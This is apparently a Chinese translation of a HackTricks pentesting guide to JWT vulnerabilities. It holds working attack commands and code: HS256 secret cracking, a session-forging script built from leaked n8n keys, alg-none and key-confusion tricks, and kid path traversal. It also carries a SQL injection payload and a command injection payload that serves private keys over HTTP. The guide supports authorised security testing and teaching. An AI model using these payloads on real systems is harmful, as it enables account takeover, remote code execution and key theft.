JWT 漏洞 (Json Web Tokens)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本帖部分内容基于优秀文章: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
用于 pentest JWTs 的优秀工具的作者 https://github.com/ticarpi/jwt_tool
快速技巧
使用模式 All Tests! 运行 jwt_tool,并等待出现绿色行
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
如果你幸运,工具会找到一些情况下 web application 在校验 JWT 时出现错误:
.png)
然后,你可以在你的 proxy 中搜索该请求,或者使用 jwt_ tool 导出该请求使用的 JWT:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
实用的 JWT 评估工作流程
- 界定会话控制范围:选择一个与用户相关的请求(例如 profile、billing)。逐个删除 cookies/headers,直至请求被拒绝,以确定哪些 token 实际上控制授权。
- 在流量中定位 JWT:它们通常位于
Authorization: Bearer <JWT>,但也会出现在 custom headers 或 cookies 中。如果 Burp 不高亮显示它们,使用 Target → Site map → Engagement tools → Search 并使用如下正则模式: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- 解码并枚举:使用 Burp JWT Editor 或
python3 jwt_tool.py <JWT>阅读 header/payload。注意alg、exp/token 生命周期,以及推动 authn/authz 的声明(role,id,username,email等)。 - 签名强制检查:在签名部分翻转或删除几字节并重放。若被接受,说明缺少签名验证,你可以直接篡改 payload 声明。
- 目标:修改 payload 声明以提升权限;下面的每种攻击都旨在通过滥用弱验证、弱密钥或不安全的密钥选择,使服务器接受被篡改的 payload。
在不修改任何东西的情况下篡改数据
你可以仅篡改数据而保持签名不变,以检查服务器是否在验证签名。例如尝试将你的 username 改为 “admin”。
该 token 是否被验证?
要检查 JWT 的签名是否被验证:
- 出现错误消息说明正在进行验证;应检查详细错误中是否包含敏感信息。
- 返回页面的变化也表明进行了验证。
- 没有变化则表明未进行验证;此时可以尝试篡改 payload 声明。
来源
通过检查代理的请求历史,判断 token 是在服务器端生成还是客户端生成非常重要。
- 首次在客户端出现的 token 表明密钥可能暴露在客户端代码中,需要进一步调查。
- 源自服务器端的 token 表明生成过程更安全。
有效期
检查 token 是否存在超过 24 小时的有效期……或者可能永不过期。如果存在 exp 字段,检查服务器是否正确处理它。
暴力破解 HMAC 密钥
如果 header 使用 HS256,将 token 导出到文件并尝试离线破解:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
一旦恢复出密钥,将其作为对称密钥加载到 Burp JWT Editor,然后对修改后的声明重新签名。
从 leaked config + DB 数据推导 JWT 密钥
如果任意文件读取(或备份 leak)泄露了应用加密材料和用户记录,有时可以重建 JWT 签名密钥并在不知道任何明文密码的情况下伪造会话 cookie。以下是在工作流自动化栈中观察到的示例模式:
- Leak 从配置文件中泄露应用密钥(例如
encryptionKey)。 - Leak 泄露用户表以获取
email、password_hash和user_id。 - 从该密钥推导签名密钥,然后推导 JWT payload 中每个用户应有的哈希:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- 将已签名的 token 放入会话 cookie(例如
n8n-auth),即可冒充用户/管理员账号,即使密码哈希被加盐也能生效。
将算法修改为 None
将使用的算法设置为 “None”,并移除签名部分。
使用 Burp 的扩展 “JSON Web Token” 来尝试此漏洞并修改 JWT 中的不同值(将请求发送到 Repeater,在 “JSON Web Token” 选项卡中可以修改 token 的值。也可以将 “Alg” 字段的值设置为 “None”)。
将算法从 RS256(asymmetric) 改为 HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
算法 HS256 使用 secret key 来对每条消息进行签名和验证。
算法 RS256 使用 private key 对消息进行签名,并使用 public key 进行验证。
如果将算法从 RS256 改为 HS256,后端代码会把 public key 当作 secret key,然后使用 HS256 算法来验证签名。
因此,使用 public key 并将 RS256 改为 HS256 就可以生成一个有效签名。你可以通过以下方式检索目标 web 服务器的证书:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.
标头内的新公钥
攻击者在令牌的头部嵌入一个新密钥,服务器使用该新密钥来验证签名(CVE-2018-0114)。
This can be done with the “JSON Web Tokens” Burp extension.
(将请求发送到 Repeater,在 JSON Web Token 选项卡中选择 “CVE-2018-0114” 并发送请求)。
JWKS 假冒
这些说明介绍了一种评估 JWT 令牌安全性的方法,特别是针对使用 “jku” 头声明的令牌。该声明应指向包含用于验证令牌所需公钥的 JWKS(JSON Web Key Set)文件。
-
Assessing Tokens with “jku” Header:
-
验证 “jku” 声明的 URL,确保它指向正确的 JWKS 文件。
-
修改令牌的 “jku” 值,指向受控的 web 服务,以便观察流量。
-
Monitoring for HTTP Interaction:
-
观察到对你指定 URL 的 HTTP 请求表示服务器正在尝试从你提供的链接获取密钥。
-
在使用
jwt_tool进行此过程时,务必在jwtconf.ini文件中更新你的 JWKS 地址以便测试。 -
Command for
jwt_tool: -
Execute the following command to simulate the scenario with
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid 问题概述
一个可选的头部声明 kid 用于标识特定密钥,在存在多个用于令牌签名验证的密钥的环境中尤为重要。该声明有助于选择用于验证令牌签名的正确密钥。
通过 “kid” 发现密钥
当头部存在 kid 声明时,建议在 web 目录中搜索对应文件或其变体。例如,如果指定了 "kid":"key/12345",应在 web 根目录中查找 /key/12345 和 /key/12345.pem 这样的文件。
使用 “kid” 的路径遍历
kid 声明也可能被利用来遍历文件系统,可能允许选择任意文件。通过将 kid 值修改为指向特定文件或服务,可以测试连通性或执行 Server-Side Request Forgery (SSRF) 攻击。通过修改 JWT 的 kid 值而保留原始签名,可以使用 jwt_tool 的 -T 标志来实现,如下所示:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
通过定位内容可预测的文件,可以伪造有效的 JWT。例如,Linux 系统中的 /proc/sys/kernel/randomize_va_space 文件,已知包含值 2,可以在 kid 参数中使用,并以 2 作为对称密码来生成 JWT。
一个针对脆弱文件系统密钥加载的实用模式是生成一个 HS256 密钥,JWK k 设置为 AA==,将 kid 设为类似 ../../../../../../../dev/null 的遍历路径,然后重新签名——某些实现将空文件视为有效的 HMAC 密钥并会接受伪造的令牌。
SQL Injection 通过 “kid”
如果使用 kid 声明的内容从数据库获取密码,那么通过修改 kid 负载可能会促成 SQL injection。下面是一个利用 SQL injection 改变 JWT 签名过程的示例负载:
non-existent-index' UNION SELECT 'ATTACKER';-- -
该修改会强制使用已知的密钥 ATTACKER 来对 JWT 进行签名。
OS Injection 通过 “kid”
如果 kid 参数指定了一个在命令执行上下文中使用的文件路径,则可能导致 Remote Code Execution (RCE) 漏洞。通过向 kid 参数注入命令,可以暴露私钥。用于实现 RCE 和密钥泄露的示例负载是:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
如果 token 使用 “jku” Header 声明则 检查提供的 URL。该 URL 应指向包含用于验证 token 的 JWKS 文件,该文件保存用于验证 token 的 Public Key。篡改 token 将 jku 值指向你可以监控其流量的 web 服务。
首先你需要用新的私钥 & 公钥 创建一个新的证书。
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
然后你可以使用例如 jwt.io 来创建新的 JWT,使用已创建的 public and private keys,并将参数 jku 指向所创建的 certificate。为了创建一个有效的 jku certificate,你可以下载原始的并更改所需参数。
你可以从 public certificate 中获取参数 “e” 和 “n”,使用:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
如果验证方远程获取密钥材料,可在 jku/x5u 中嵌入 Burp Collaborator URL,使用 JWT Editor → Attack → Embed Collaborator payload。任何回调都确认了 SSRF 风格的密钥检索;随后在该 URL 托管你自己的 JWKS/PEM,并用你的私钥重新签名,这样服务就会验证攻击者伪造的 tokens。
x5u
X.509 URL。一个指向以 PEM 形式编码的一组 X.509(证书格式标准)公开证书的 URI。集合中的第一个证书必须是用于签署该 JWT 的证书。后续证书依次签署前一张证书,从而完成证书链。X.509 在 RFC 52807 中定义。传输这些证书时必须使用传输安全。
尝试 将此 header 更改为由你控制的 URL 并检查是否收到任何请求。如果收到请求,你就 可以篡改该 JWT。
要使用你控制的证书伪造新的 token,需要创建证书并提取公钥和私钥:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
然后你可以例如使用 jwt.io 来创建新的 JWT,使用已创建的公钥和私钥并将参数 x5u 指向已创建的 .crt 证书。
.png)
你也可以滥用这两种漏洞 用于 SSRFs。
x5c
该参数可能包含 以 base64 编码的证书:
.png)
如果攻击者 生成自签名证书,并使用相应的私钥创建伪造的 token,然后将 “x5c” 参数的值替换为新生成的证书并修改其他参数,即 n、e 和 x5t,那么本质上该伪造的 token 将被服务器接受。
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
嵌入的公钥 (CVE-2018-0114)
如果 JWT 嵌入了一个公钥,如下面的情形:
.png)
使用下面的 nodejs 脚本可以从这些数据生成公钥:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
可以生成新的 private/public key,将新的 public key 嵌入到 token 中,并使用它生成新的 signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
你可以使用这个 nodejs 脚本获取 “n” 和 “e”:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
最后,使用公钥和私钥以及新的 “n” 和 “e” 值,你可以使用 jwt.io 锻造一个包含任意信息的新有效 JWT。
ES256: 使用相同 nonce 恢复私钥
如果某些应用使用 ES256 并在生成两个 jwt 时重用相同的 nonce,则可以恢复私钥。
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
已观察到一些 web 应用依赖受信任的 JWT 服务来生成和管理其令牌。曾记录到这样的情况:JWT 服务为某个 client 生成的令牌,会被同一 JWT 服务的另一个 client 接受。如果观察到通过第三方服务签发或续期 JWT,应调查是否可以使用相同的 username/email 在该服务的另一个 client 上注册账号。随后应尝试在对目标的请求中 replay 所获得的令牌,查看其是否被接受。
- 如果你的令牌被接受,可能表明存在严重问题,可能允许伪造任何用户的账号。不过需要注意的是,如果在第三方应用上注册账号进行更广泛的测试,可能需要事先获得许可,因为这可能涉及法律灰区。
Expiry Check of Tokens
令牌的过期通过 Payload 中的 “exp” 声明进行检查。鉴于 JWTs 常在没有会话信息的情况下使用,因此需要谨慎处理。在许多情况下,捕获并 replay 其他用户的 JWT 可能使人冒充该用户。JWT RFC 建议通过利用 “exp” 声明为令牌设置过期时间来缓解 JWT replay 攻击。此外,应用应实现相关检查以确保处理该值并拒绝已过期的令牌。如果令牌包含 “exp” 声明且测试时间允许,建议在过期时间过去后存储令牌并进行 replay。可以使用 jwt_tool 的 -R 标志读取令牌的内容,包括时间戳解析和过期检查(时间戳为 UTC)。
- 如果应用仍然验证该令牌,可能存在安全风险,因为这可能意味着令牌永不过期。
Tools
- jwt_tool – decoding、claim/header tampering、offline secret cracking (
-C) 和半自动化攻击模式 (-M at)。 - Burp JWT Editor – 在 Repeater 中 decode/re-sign,生成自定义密钥,并运行内置攻击(none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads)。
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking(在将 JWTs 导出到 wordlist 之后)。
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


